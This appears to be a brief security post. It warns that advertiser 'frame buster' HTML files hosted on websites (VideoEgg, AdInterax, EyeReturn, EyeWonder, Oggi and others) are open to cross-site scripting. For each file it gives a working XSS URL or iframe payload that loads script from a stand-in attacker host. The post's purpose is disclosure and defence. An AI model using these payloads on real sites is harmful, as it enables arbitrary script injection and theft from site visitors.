The article is currently down, but the skinny of the deal is many advertisers will have you host "frame buster" [html] documents, so that they can execute javas

The article is currently down, but the skinny of the deal is many advertisers will have you host "frame buster" [html] documents, so that they can execute javascript outside of your ad iframes. Some are terribly bad at providing clean source and exploitable by XSS, allowing an attacker to execute arbitrary javascript on your site. The following are some in-the-wild documents that exhibit these behaviors, and you should remove, modify, or beware before further use. /videoegg/vedoc.html http://www.yoursite.com/videoegg/vedoc.html?tagid=foo&tagurl=http://www.attacker.com/malicious-js/ /adx-iframe-v2.html http://www.yoursite.com/adx-iframe-v2.html?ad=www.attacker.com/malicious-js/%22mi.adinterax.com/js/y&vm=r&P=Y&adx_D_180421=h /eyereturn.html http://www.yoursite.com/eyereturn.html?foo%22%3E%3C/script%3E%3Cscript%20src=http://www.attacker.com/malicious-js/%3E /ifr_b.html http://www.yoursite.com/ifr_b.html?c=foo%22%3E%3C/script%3E%3Cscript%20src%3Dhttp://www.attacker.com/malicious-js/%3E /interim.html http://www.yoursite.com/interim.html?src=http://www.attacker.com/malicious-js/ /eyewonder/interim.html http://www.yoursite.com/eyewonder/interim.html?src=http://www.attacker.com/malicious-js/ /oggiPlayerLoader.htm -- requires framing the advert <iframe src="http://www.yoursite.com/oggiPlayerLoader.htm?version=1&tHtml=%3Cscript src%3Dhttp://www.attacker.com/malicious-js/%3E%3C/script%3E" style="display: block !important; width: 100%; height: 100%;">